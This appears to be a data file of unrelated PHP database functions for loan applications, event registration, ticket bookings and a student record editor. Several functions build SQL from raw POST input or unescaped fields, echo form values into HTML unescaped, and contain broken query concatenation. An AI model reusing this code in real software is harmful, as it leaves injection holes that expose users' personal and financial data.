addslashes($GLOBALS[\"x_telefono_secundario3\"]) : $GLOBALS[\"x_telefono_secundario3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono_secundario`\"] = $theValue;\r\n\t\r\n\t\t// insert into database\r\n\t\t$sSql = \"INSERT INTO `direccion` (\";\r\n\t\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t\t$sSql .= \") VALUES (\";\r\n\t\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t\t$sSql .= \")\";\r\n\t\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\r\n\r\n\t//DOM NEG AVAL\r\n\t\r\n\t\t$fieldList = NULL;\r\n\t\t// Field cliente_id\r\n\t//\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`cliente_id`\"] = 0;\r\n\t\r\n\t\t// Field aval_id\r\n\t//\t$theValue = ($GLOBALS[\"x_aval_id\"] != \"\") ? intval($GLOBALS[\"x_aval_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`aval_id`\"] = $x_aval_id;\r\n\t\r\n\t\t// Field promotor_id\r\n\t//\t$theValue = ($GLOBALS[\"x_promotor_id\"] != \"\") ? intval($GLOBALS[\"x_promotor_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`promotor_id`\"] = 0;\r\n\t\r\n\t\t// Field direccion_tipo_id\r\n\t//\t$theValue = ($GLOBALS[\"x_direccion_tipo_id\"] != \"\") ? intval($GLOBALS[\"x_direccion_tipo_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`direccion_tipo_id`\"] = 4;\r\n\t\r\n\t\t// Field calle\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_calle3_neg\"]) : $GLOBALS[\"x_calle3_neg\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`calle`\"] = $theValue;\r\n\t\r\n\t\t// Field colonia\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_colonia3_neg\"]) : $GLOBALS[\"x_colonia3_neg\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`colonia`\"] = $theValue;\r\n\t\r\n\t\t// Field delegacion_id\r\n\t\t$theValue = ($GLOBALS[\"x_delegacion_id3_neg\"] != \"\") ? intval($GLOBALS[\"x_delegacion_id3_neg\"]) : \"0\";\r\n\t\t$fieldList[\"`delegacion_id`\"] = $theValue;\r\n\t\r\n\t\t// Field propietario\r\n/*\t\t\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_propietario2\"]) : $GLOBALS[\"x_propietario2\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`propietario`\"] = $theValue;\r\n*/\t\r\n/*\r\n\t\t// Field entidad\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_entidad3\"]) : $GLOBALS[\"x_entidad3\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`entidad`\"] = $theValue;\r\n*/\t\r\n\t\t// Field codigo_postal\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_codigo_postal3_neg\"]) : $GLOBALS[\"x_codigo_postal3_neg\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`codigo_postal`\"] = $theValue;\r\n\t\r\n\t\t// Field ubicacion\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_ubicacion3_neg\"]) : $GLOBALS[\"x_ubicacion3_neg\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`ubicacion`\"] = $theValue;\r\n\t\r\n\t\t// Field antiguedad\r\n\t\t$theValue = ($GLOBALS[\"x_antiguedad3_neg\"] != \"\") ? intval($GLOBALS[\"x_antiguedad3_neg\"]) : \"0\";\r\n\t\t$fieldList[\"`antiguedad`\"] = $theValue;\r\n\t\r\n\t\t// Field vivienda_tipo_id\r\n\t\t$theValue = ($GLOBALS[\"x_vivienda_tipo_id2_neg\"] != \"\") ? intval($GLOBALS[\"x_vivienda_tipo_id2_neg\"]) : \"0\";\r\n\t\t$fieldList[\"`vivienda_tipo_id`\"] = $theValue;\r\n\t\r\n\t\t// Field otro_tipo_vivienda\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_propietario3_neg\"]) : $GLOBALS[\"x_propietario3_neg\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`propietario`\"] = $theValue;\r\n\t\r\n\t\t// Field telefono\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono3_neg\"]) : $GLOBALS[\"x_telefono3_neg\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono`\"] = $theValue;\r\n\t\r\n\t\t// Field telefono_secundario\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono_secundario3_neg\"]) : $GLOBALS[\"x_telefono_secundario3_neg\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`telefono_secundario`\"] = $theValue;\r\n\t\r\n\t\t// insert into database\r\n\t\t$sSql = \"INSERT INTO `direccion` (\";\r\n\t\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t\t$sSql .= \") VALUES (\";\r\n\t\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t\t$sSql .= \")\";\r\n\t\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\r\n\r\n\r\n\t//Ingresos AVAL\r\n\t$fieldList = NULL;\r\n\t// Field cliente_id\r\n//\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t$fieldList[\"`aval_id`\"] = $x_aval_id;\r\n\r\n\t// Field ingresos_negocio\r\n\t$theValue = ($GLOBALS[\"x_ingresos_mensuales\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_ingresos_mensuales\"]) . \"'\" : \"0\";\r\n\t$fieldList[\"`ingresos_negocio`\"] = $theValue;\r\n\r\n\t// Field ingresos_familiar_1\r\n\t$theValue = ($GLOBALS[\"x_ingresos_familiar_1_aval\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_ingresos_familiar_1_aval\"]) . \"'\" : \"0\";\r\n\t$fieldList[\"`ingresos_familiar_1`\"] = $theValue;\r\n\r\n\t// Field parentesco_tipo_id\r\n\t$theValue = ($GLOBALS[\"x_parentesco_tipo_id_ing_1_aval\"] != \"\") ? intval($GLOBALS[\"x_parentesco_tipo_id_ing_1_aval\"]) : \"0\";\r\n\t$fieldList[\"`parentesco_tipo_id`\"] = $theValue;\r\n\r\n\t// Field ingresos_familiar_2\r\n//\t$theValue = ($GLOBALS[\"x_ingresos_familiar_2\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_ingresos_familiar_2\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`ingresos_familiar_2`\"] = 0;\r\n\r\n\t// Field parentesco_tipo_id2\r\n//\t$theValue = ($GLOBALS[\"x_parentesco_tipo_id_ing_2\"] != \"\") ? intval($GLOBALS[\"x_parentesco_tipo_id_ing_2\"]) : \"0\";\r\n\t$fieldList[\"`parentesco_tipo_id2`\"] = 0;\r\n\r\n\t// Field otros_ingresos\r\n\t$theValue = ($GLOBALS[\"x_otros_ingresos_aval\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_otros_ingresos_aval\"]) . \"'\" : \"0\";\r\n\t$fieldList[\"`otros_ingresos`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_origen_ingresos_aval\"] != \"\") ? \" '\" . $GLOBALS[\"x_origen_ingresos_aval\"] . \"'\" : \"NULL\";\r\n\t$fieldList[\"`origen_ingresos`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_origen_ingresos_aval2\"] != \"\") ? \" '\" . $GLOBALS[\"x_origen_ingresos_aval2\"] . \"'\" : \"NULL\";\r\n\t$fieldList[\"`origen_ingresos_fam_1`\"] = $theValue;\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `ingreso_aval` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n\t\r\n\r\n\r\n\t\t\r\n\t}\r\n\r\n//GARANTIAS\r\n\r\n\tif($GLOBALS[\"x_garantia_desc\"] != \"\"){\r\n\t\t$fieldList = NULL;\r\n\t\t// Field cliente_id\r\n\t//\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`solicitud_id`\"] = $x_solicitud_id;\r\n\t\r\n\t\t// Field descripcion\r\n\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_garantia_desc\"]) : $GLOBALS[\"x_garantia_desc\"]; \r\n\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`descripcion`\"] = $theValue;\r\n\t\r\n\t\t// Field valor\r\n\t\t$theValue = ($GLOBALS[\"x_garantia_valor\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_garantia_valor\"]) . \"'\" : \"NULL\";\r\n\t\t$fieldList[\"`valor`\"] = $theValue;\r\n\t\r\n\t\r\n\t\t// insert into database\r\n\t\t$sSql = \"INSERT INTO `garantia` (\";\r\n\t\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t\t$sSql .= \") VALUES (\";\r\n\t\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t\t$sSql .= \")\";\r\n\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\tif(!$x_result){\r\n\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\texit();\r\n\t\t}\r\n\r\n\t}\r\n\r\n\r\n//INGRESOS\r\n\r\n\t$fieldList = NULL;\r\n\t// Field cliente_id\r\n//\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t$fieldList[\"`solicitud_id`\"] = $x_solicitud_id;\r\n\r\n\t// Field ingresos_negocio\r\n\t$theValue = ($GLOBALS[\"x_ingresos_negocio\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_ingresos_negocio\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`ingresos_negocio`\"] = $theValue;\r\n\r\n\t// Field ingresos_familiar_1\r\n\t$theValue = ($GLOBALS[\"x_ingresos_familiar_1\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_ingresos_familiar_1\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`ingresos_familiar_1`\"] = $theValue;\r\n\r\n\t// Field parentesco_tipo_id\r\n\t$theValue = ($GLOBALS[\"x_parentesco_tipo_id_ing_1\"] != \"\") ? intval($GLOBALS[\"x_parentesco_tipo_id_ing_1\"]) : \"0\";\r\n\t$fieldList[\"`parentesco_tipo_id`\"] = $theValue;\r\n\r\n\t// Field ingresos_familiar_2\r\n\t$theValue = ($GLOBALS[\"x_ingresos_familiar_2\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_ingresos_familiar_2\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`ingresos_familiar_2`\"] = $theValue;\r\n\r\n\t// Field parentesco_tipo_id2\r\n\t$theValue = ($GLOBALS[\"x_parentesco_tipo_id_ing_2\"] != \"\") ? intval($GLOBALS[\"x_parentesco_tipo_id_ing_2\"]) : \"0\";\r\n\t$fieldList[\"`parentesco_tipo_id2`\"] = $theValue;\r\n\r\n\t// Field otros_ingresos\r\n\t$theValue = ($GLOBALS[\"x_otros_ingresos\"] != \"\") ? \" '\" . doubleval($GLOBALS[\"x_otros_ingresos\"]) . \"'\" : \"NULL\";\r\n\t$fieldList[\"`otros_ingresos`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_origen_ingresos\"] != \"\") ? \" '\" . $GLOBALS[\"x_origen_ingresos\"] . \"'\" : \"NULL\";\r\n\t$fieldList[\"`origen_ingresos`\"] = $theValue;\r\n\r\n\r\n\t$theValue = ($GLOBALS[\"x_origen_ingresos2\"] != \"\") ? \" '\" . $GLOBALS[\"x_origen_ingresos2\"] . \"'\" : \"NULL\";\r\n\t$fieldList[\"`origen_ingresos_fam_1`\"] = $theValue;\r\n\r\n\t$theValue = ($GLOBALS[\"x_origen_ingresos3\"] != \"\") ? \" '\" . $GLOBALS[\"x_origen_ingresos3\"] . \"'\" : \"NULL\";\r\n\t$fieldList[\"`origen_ingresos_fam_2`\"] = $theValue;\r\n\r\n\r\n\t// insert into database\r\n\t$sSql = \"INSERT INTO `ingreso` (\";\r\n\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t$sSql .= \") VALUES (\";\r\n\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t$sSql .= \")\";\r\n\r\n\t$x_result = phpmkr_query($sSql, $conn);\r\n\tif(!$x_result){\r\n\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\tphpmkr_query('rollback;', $conn);\t \r\n\t \texit();\r\n\t}\r\n\r\n\r\n\r\n//REFERENCIAS CICLO\r\n\r\n\r\n\t$x_counter = 1;\r\n\twhile($x_counter < 6){\r\n\r\n\t\t$fieldList = NULL;\r\n\t\t// Field cliente_id\r\n//\t\t$theValue = ($GLOBALS[\"x_cliente_id\"] != \"\") ? intval($GLOBALS[\"x_cliente_id\"]) : \"NULL\";\r\n\t\t$fieldList[\"`solicitud_id`\"] = $x_solicitud_id;\r\n\r\n\r\n\t\tif($GLOBALS[\"x_nombre_completo_ref_$x_counter\"] != \"\"){\r\n\t\t\r\n\t\t\t// Field nombre_completo\r\n\t\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_nombre_completo_ref_$x_counter\"]) : $GLOBALS[\"x_nombre_completo_ref_$x_counter\"]; \r\n\t\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t\t$fieldList[\"`nombre_completo`\"] = $theValue;\r\n\t\t\r\n\t\t\t// Field telefono\r\n\t\t\t$theValue = (!get_magic_quotes_gpc()) ? addslashes($GLOBALS[\"x_telefono_ref_$x_counter\"]) : $GLOBALS[\"x_telefono_ref_$x_counter\"]; \r\n\t\t\t$theValue = ($theValue != \"\") ? \" '\" . $theValue . \"'\" : \"NULL\";\r\n\t\t\t$fieldList[\"`telefono`\"] = $theValue;\r\n\t\t\r\n\t\t\t// Field parentesco_tipo_id\r\n\t\t\t$theValue = ($GLOBALS[\"x_parentesco_tipo_id_ref_$x_counter\"] != \"\") ? intval($GLOBALS[\"x_parentesco_tipo_id_ref_$x_counter\"]) : \"NULL\";\r\n\t\t\t$fieldList[\"`parentesco_tipo_id`\"] = $theValue;\r\n\t\t\r\n\t\t\t// insert into database\r\n\t\t\t$sSql = \"INSERT INTO `referencia` (\";\r\n\t\t\t$sSql .= implode(\",\", array_keys($fieldList));\r\n\t\t\t$sSql .= \") VALUES (\";\r\n\t\t\t$sSql .= implode(\",\", array_values($fieldList));\r\n\t\t\t$sSql .= \")\";\r\n\t\t\r\n\t\t\t$x_result = phpmkr_query($sSql, $conn);\r\n\t\t\tif(!$x_result){\r\n\t\t\t\techo phpmkr_error() . '<br>SQL: ' . $sSql;\r\n\t\t\t\tphpmkr_query('rollback;', $conn);\t \r\n\t\t\t\texit();\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\r\n\t\t$x_counter++;\r\n\t}\r\n\r\n\tphpmkr_query('commit;', $conn);\t \r\n\t\r\n\treturn true;\r\n}", "public function setModuleData(){\n\t\t/* variable initialization */\n\t\t$this->_strSchemaName\t.= \"_\".$this->getCompanyCode();\n\t\t$intRespone\t\t\t\t= \"\";\n\t\t\n\t\t/* Setting the Pokicy filed */\n\t\tif((isset($this->_strDataSet['policy'])) && (!empty($this->_strDataSet['policy']))){\n\t\t\t/* Iterating the loop */\n\t\t\tforeach($this->_strDataSet['policy'] as $strPlicyKey => $strPolicyValue){\n\t\t\t\t/* Decoding the value */\n\t\t\t\t$this->_strDataSet['policy'][$strPlicyKey]\t= getDecyptionValue($strPolicyValue);\n\t\t\t}\n\t\t\t/* Imploding the value */\n\t\t\t$this->_strDataSet['policy']\t\t= implode(\",\",$this->_strDataSet['policy']);\n\t\t}else{\n\t\t\t/* Setting the value */\n\t\t\t$this->_strDataSet['policy']\t= \"\";\n\t\t}\n\t\t\n\t\t/* Set the operation filter array */\n\t\t$strEventFilterArr \t= array(\n\t\t\t\t\t\t\t\t\t\t'table' \t=> $this->_strSchemaName,\n\t\t\t\t\t\t\t\t\t\t'data' \t\t=> $this->_strDataSet,\n\t\t\t\t\t\t\t\t\t\t'where' \t=> array('id' => $this->_strDataSet['foreign']),\n\t\t\t\t\t\t\t\t\t);\n\t\t/* removed unwanted variables */\n\t\tunset($strEventFilterArr['data']['foreign']);\n\t\t\n\t\t/* Perfomaning the addition operation */\n\t\tif($this->_strDataSet['foreign'] == 0){\n\t\t\t/* add new records */\n\t\t\t$intResultStatus = $this->_objDataOperation->setDataInTable($strEventFilterArr);\n\t\t/* Perfomaning the update operation */\n\t\t}else{\n\t\t\t/* update the existing records */\n\t\t\t$intResultStatus = $this->_objDataOperation->setUpdateData($strEventFilterArr);\n\t\t}\n\t\t/* removed used variables */\n\t\tunset($strResultArr);\n\t\t\n\t\t/* return the operation status */\n\t\treturn $intResultStatus;\n\t}", "public function simpan_data_res($tabel, $data)\n {\n \t$this->db->insert($tabel, $data);\n }", "function addInformacije($data){\n\t\tglobal $db; global $_M;\n\t\t$data = mysql_real_escape_string($data);\n\n\t\t$db->e(\"UPDATE nalog SET nalog_informacije='\".$data.\"' WHERE nid='\".$_M->nid.\"';\");\n\t}", "function ambil_data_id($id_admin){\n\t\t$this->db->where($this->id_admin, $id_admin);\n\t\treturn $this->db->get($this->nama_table)->row();\n\t}", "function process_data($arrData)\n{\n\t\n\t// 1) sql connection\n\t$conn = new mysqli(SRVRNAME, USERNAME, PASSWORD, DATABASE);\n\t// Check connection\n\tif ($conn->connect_error) {\ndie(\"Connection failed: \" . $conn->connect_error);\n\t} \n\t\n\t$stmt = $conn->stmt_init();\n\t\n\t// 2) insert new record into Person\n\t// Prepared statement, stage 1: prepare \n\tif (!($stmt->prepare(\"INSERT INTO Person(fname,mi,lname,title,degrees,cell,email,preferred_email,addr1,addr2,city,state,zip,pro_titles,specialty,state_licensed,license_number,HCP_NCI_number,Payment_Mailing_Addr_1,Payment_Mailing_Addr_2,Payment_Mailing_City,Payment_Mailing_State,Payment_Mailing_Zip) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)\"))) {\n$db_errmsg = \"Person Table-INSERT:Prepare failed: (\" . $mysqli->errno . \") \" . $mysqli->error;\nreturn $db_errmsg;\n\t}\n\t\n\t// Prepared statement, stage 2: bind and execute \n\tif (!$stmt->bind_param(\"sssssssssssssssssssssss\", $arrData['fname'],$arrData['middle_initial'],$arrData['lname'],$arrData['title'],$arrData['degrees'],$arrData['cell'],$arrData['email'],$arrData['email_preferred'],$arrData['addr1'],$arrData['addr2'],$arrData['city'],$arrData['state'],$arrData['zip'],$arrData['pro_titles'],$arrData['specialty'],$arrData['state_licensed'],$arrData['license_number'],$arrData['HCP_NCI_number'],$arrData['pay_addr1'],$arrData['pay_addr2'],$arrData['pay_city'],$arrData[',pay_state'],$arrData['pay_zip'])) \n\t{\n$db_errmsg = \"Person Table-INSERT:Binding parameters failed: (\" . $stmt->errno . \") \" . $stmt->error;\nreturn $db_errmsg;\n\t}\n\t\n\t// If error, return to regis page with message, close cxn\n\tif (!$stmt->execute()) {\n$db_errmsg = \"Person Table-INSERT:Execute failed: (\" . $stmt->errno . \") \" . $stmt->error;\nreturn $db_errmsg;\n\t}\n\t\n\t// 3) select new pid from Person table\n\tif (!($stmt->prepare(\"SELECT pid FROM Person WHERE email = (?)\"))) {\n$db_errmsg = \"Person Table-SELECT:Prepare failed: (\" . $mysqli->errno . \") \" . $mysqli->error;\nreturn $db_errmsg;\n\t}\n\n\t// If error, return to regis page with message, close cxn\n\tif (!$stmt->bind_param(\"s\", $arrData['email']))\n\t{\n\t\t$db_errmsg = \"Person Table-SELECT:Binding parameters failed: (\" . $stmt->errno . \") \" . $stmt->error;\n\t\treturn $db_errmsg;\n\t}\n\n\t\t\t// If error, return to regis page with message, close cxn\n\tif (!$stmt->execute()) {\n\t\t$db_errmsg = \"Person Table-SELECT:Execute failed: (\" . $stmt->errno . \") \" . $stmt->error;\n\t\treturn $db_errmsg;\n\t}\n\t\n\t/* bind result variables */\n $stmt->bind_result($pID);\n\t$stmt->fetch();\n\t\n\t\n\t// 4) select eid from Event table\n\tif (!($stmt->prepare(\"SELECT eid FROM Event\"))) {\n\t\t$db_errmsg = \"Event Table-SELECT: Prepare failed: (\" . $mysqli->errno . \") \" . $mysqli->error;\n\t\treturn $db_errmsg;\n\t}\n\n\t// If error, return to regis page with message, close cxn\n\tif (!$stmt->execute()) {\n\t\t$db_errmsg = \"Event Table-SELECT: Execute failed: (\" . $stmt->errno . \") \" . $stmt->error;\n\t\treturn $db_errmsg;\n\t}\n\t\n\t/* bind result variables */\n $stmt->bind_result($eID);\n\t$stmt->fetch();\n\t\n\t// If error, return to regis page with message, close cxn\n\t\t\t\n\t// 5) insert records into P-E table\n\tif (!($stmt->prepare(\"INSERT INTO `Person-Event` (pid,eid,org_name,org_addr1,org_addr2,org_city,org_state,org_zip,emergency_contact_name,emergency_contact_phone,emergency_contact_email,hotel,comments,special_needs,display_name) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)\"))) \n\t{\n\t\t$db_errmsg = \"Person-Event Table-INSERT: Prepare failed: (\" . $mysqli->errno . \") \" . $mysqli->error;\n\t\treturn $db_errmsg;\n\t}\n\n\n\t// Prepared statement, stage 2: bind and execute \n\tif (!$stmt->bind_param(\"iisssssssssssss\", $pID,$eID,$arrData['org_name'],$arrData['org_addr1'],$arrData['org_addr2'],$arrData['org_city'],$arrData['org_state'],$arrData['org_zip'],$arrData['emergency_contact_name'],$arrData['emergency_contact_phone'],$arrData['emergency_contact_email'],$arrData['hotel'],$arrData['comments'],$arrData['special_needs'],$arrData['Name_In_Print'])) \n\t{\n\t\t$db_errmsg = \"Person-Event Table-INSERT: Binding parameters failed: (\" . $stmt->errno . \") \" . $stmt->error;\n\t\treturn $db_errmsg;\n\t}\n\n\t// If error, return to regis page with message, close cxn\n\tif (!$stmt->execute()) \n\t{\n\t\t$db_errmsg = \"Person-Event Table-INSERT:Execute failed: (\" . $stmt->errno . \") \" . $stmt->error;\n\t\treturn $db_errmsg;\n\t}\n\t\t\t\n\t// 6) close connection \n\t$stmt->close();\n\t$conn->close();\n\treturn true;\n\t\n}", "public function setRecordInDB($id_utilizzo_biglietto, $data, $numero_posti, $id_prenotazione){\r\n include_once './db_functions.php';\r\n $db = new DB_Functions();\r\n //Escaping\r\n $id_utilizzo_biglietto = DB_Functions::esc($id_utilizzo_biglietto);\r\n $data = DB_Functions::esc($data);\r\n $numero_posti = DB_Functions::esc($numero_posti);\r\n $id_prenotazione = DB_Functions::esc($id_prenotazione);\r\n\r\n $query = \"UPDATE UTILIZZO_BIGLIETTO \r\n SET \tDATA = $data,\r\n NUMERO_POSTI = $numero_posti,\r\n ID_PRENOTAZIONE = $id_prenotazione\r\n WHERE \t\r\n ID_UTILIZZO_BIGLIETTO = $id_utilizzo_biglietto;\";\r\n $resQuery = $db->executeQuery($query);\r\n if ($resQuery[\"state\"]) {\r\n $this->data = $data;\r\n $this->numero_posti = $numero_posti;\r\n $this->id_prenotazione = $id_prenotazione;\r\n }\r\n return $resQuery;\r\n }", "function data_editor($root, $id = 0)\n{\n\t$view = true;\n\tif (isset($_POST['nim']) && $_POST['nim'])\n\t{\n\t\t//jika tidak disertai id, berarti insert baru\n\t\tif (!$id)\n\t\t{\n\t\t\t$nim = $_POST['nim'];\n\t\t\t$nama = $_POST['nama'];\n\t\t\t$alamat = $_POST['alamat'];\n\t\t\t//lengkapi pernyataan php SQL untuk insert data\n\t\t\t$res = mysql_query(\"INSERT INTO mahasiswa VALUES('\".$nim.\"','\".$nama.\"','\".$alamat.\"')\");\n\t\t\tif ($res)\n\t\t\t{\n\t\t\t?>\n\t\t\t\t<script type=\"text/javascript\">\n\t\t\t\tdocument.location.href=\"<?php echo $root;?>\";\n\t\t\t\t</script>\n\t\t\t<?php\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo 'Gagal menambah data';\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$nim = $_POST['nim'];\n\t\t\t$nama = $_POST['nama'];\n\t\t\t$alamat = $_POST['alamat'];\n\t\t\t//lengkapi pernyataan php sql untuk update data\n\t\t\t$res = mysql_query(\"UPDATE mahasiswa SET nim='.$nim.',nama='.$nama.',alamat='.$alamat.' WHERE nim='$id'\");\n\t\t\tif ($res)\n\t\t\t{\n\t\t\t?>\n\t\t\t<?php\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo 'Gagal memodifikasi';\n\t\t\t}\n\t\t}\n\t}\t\n\t//menyiapkan data untuk updating\n\tif ($view)\n\t{\n\t\tif ($id)\n\t\t{\n\t\t\t$sql = \"SELECT nim,nama,alamat FROM mahasiswa WHERE nim='$id'\";\n\t\t\t$res = mysql_query($sql);\n\t\t\tif ($res)\n\t\t\t{\n\t\t\t\tif (mysql_num_rows($res))\n\t\t\t\t{\n\t\t\t\t\t$row = mysql_fetch_row($res);\n\t\t\t\t\t$nim = $row[0];\n\t\t\t\t\t$nama = $row[1];\n\t\t\t\t\t$alamat = $row[2];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tshow_admin_data();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$nim = @$_POST['nim'];\n\t\t\t$nama = @$_POST['nama'];\n\t\t\t$alamat = @$_POST['alamat'];\n\t\t}\n\t\t?>\n\t\t<h2 align=\"center\"><?php echo $id ? 'Edit' : 'Tambah';?> Data</h2>\n\t\t<div class=\"container\">\n\t\t<div class=\"row clearfix\">\n\t\t<div class=\"col-md-12 column\">\n\t\t\t<form class=\"form-horizontal\" role=\"form\" action=\"\" method=\"post\">\n\t\t<div class=\"form-group\">\n\t\t\t\t\t <label for=\"NIM\" class=\"col-sm-2 control-label\">NIM</label>\n\t\t\t\t\t<div class=\"col-sm-10\">\n\t\t\t\t\t\t<input type=\"text\" class=\"form-control\" id=\"nim\" name=\"nim\" value=\"<?php echo $nim;?>\"/>\n\t\t\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"form-group\">\n\t\t\t\t\t <label for=\"Nama\" class=\"col-sm-2 control-label\">Nama</label>\n\t\t\t\t\t<div class=\"col-sm-10\">\n\t\t\t\t\t\t<input type=\"text\" class=\"form-control\" id=\"nama\" name=\"nama\" value=\"<?php echo $nama;?>\"/>\n\t\t\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"form-group\">\n\t\t\t\t\t <label for=\"NIM\" class=\"col-sm-2 control-label\">Alamat</label>\n\t\t\t\t\t<div class=\"col-sm-10\">\n\t\t\t\t\t\t<input type=\"text\" class=\"form-control\" id=\"alamat\" name=\"alamat\" value=\"<?php echo $alamat;?>\"/>\n\t\t\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"form-group\">\n\t\t\t\t\t<div class=\"col-sm-offset-2 col-sm-10\">\n\t\t\t\t\t\t <button type=\"submit\" class=\"btn btn-default\">Submit</button>\n\t\t\t\t\t\t <button type=\"submit\" class=\"btn btn-default\" onclick=\"history.go(-1)\">Cancel</button>\n\t\t\t\t\t<br><br><p><b>Ket : * Harus 